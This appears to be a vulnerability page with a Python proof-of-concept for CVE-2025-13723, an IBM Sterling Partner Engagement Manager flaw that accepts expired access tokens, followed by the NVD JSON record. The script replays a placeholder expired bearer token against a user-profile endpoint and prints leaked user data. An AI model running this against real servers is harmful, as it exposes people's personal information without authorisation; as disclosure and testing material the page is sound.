CVE-2025-13723

# CVE-2025-13723 PoC - Expired Token Information Disclosure # Target: IBM Sterling Partner Engagement Manager # Affected Versions: 6.2.3.0-6.2.3.5, 6.2.4.0-6.2.4.2 import requests import time import json TARGET_URL = "https://target-server.example.com" VULN_ENDPOINT = "/api/v1/user/profile" def exploit_expired_token(): """ Simulate obtaining and using an expired access token In real scenario, token would be captured from legitimate user session """ headers = { "Authorization": "Bearer <expired_access_token>", "Content-Type": "application/json" } # Attempt to access protected endpoint with expired token response = requests.get( f"{TARGET_URL}{VULN_ENDPOINT}", headers=headers, verify=False, timeout=30 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") # If token is still accepted (vulnerability present), sensitive data is leaked if response.status_code == 200: data = response.json() print("[!] VULNERABLE: Expired token was accepted!") print(f"[!] Leaked user data: {json.dumps(data, indent=2)}") return True else: print("[*] NOT VULNERABLE: Token properly rejected") return False if __name__ == "__main__": print("CVE-2025-13723 PoC") print("=" * 50) exploit_expired_token()

{"cve": {"id": "CVE-2025-13723", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:53:48.673", "lastModified": "2026-03-18T19:18:28.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Sterling Partner Engagement Manager 6.2.3.0 through 6.2.3.5 and 6.2.4.0 through 6.2.4.2 could allow an attacker to obtain sensitive user information using an expired access token"}, {"lang": "es", "value": "IBM Sterling Partner Engagement Manager 6.2.3.0 a 6.2.3.5 y 6.2.4.0 a 6.2.4.2 podría permitir a un atacante obtener información sensible del usuario utilizando un token de acceso caducado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-324"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:essentials:*:*:*", "versionStartIncluding": "6.2.3", "versionEndExcluding": "6.2.3.6", "matchCriteriaId": "687DC91A-7A4C-4FF2-8E23-65C8CDC5F52D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:standard:*:*:*", "versionStartIncluding": "6.2.3", "versionEndExcluding": "6.2.3.6", "matchCriteriaId": "7D427503-5EF4-485A-8073-C6C0B5723C2A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:essentials:*:*:*", "versionStartIncluding": "6.2.4", "versionEndExcluding": "6.2.4.3", "matchCriteriaId": "AB87CB0E-55B9-4C72-A592-C7E162A10C63"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:sterling_partner_engagement_manager:*:*:*:*:standard:*:*:*", "versionStartIncluding": "6.2.4", "versionEndExcluding": "6.2.4.3", "matchCriteriaId": "C07A609D-EF2B-423D-8006-B75E33C858D8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7263391", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}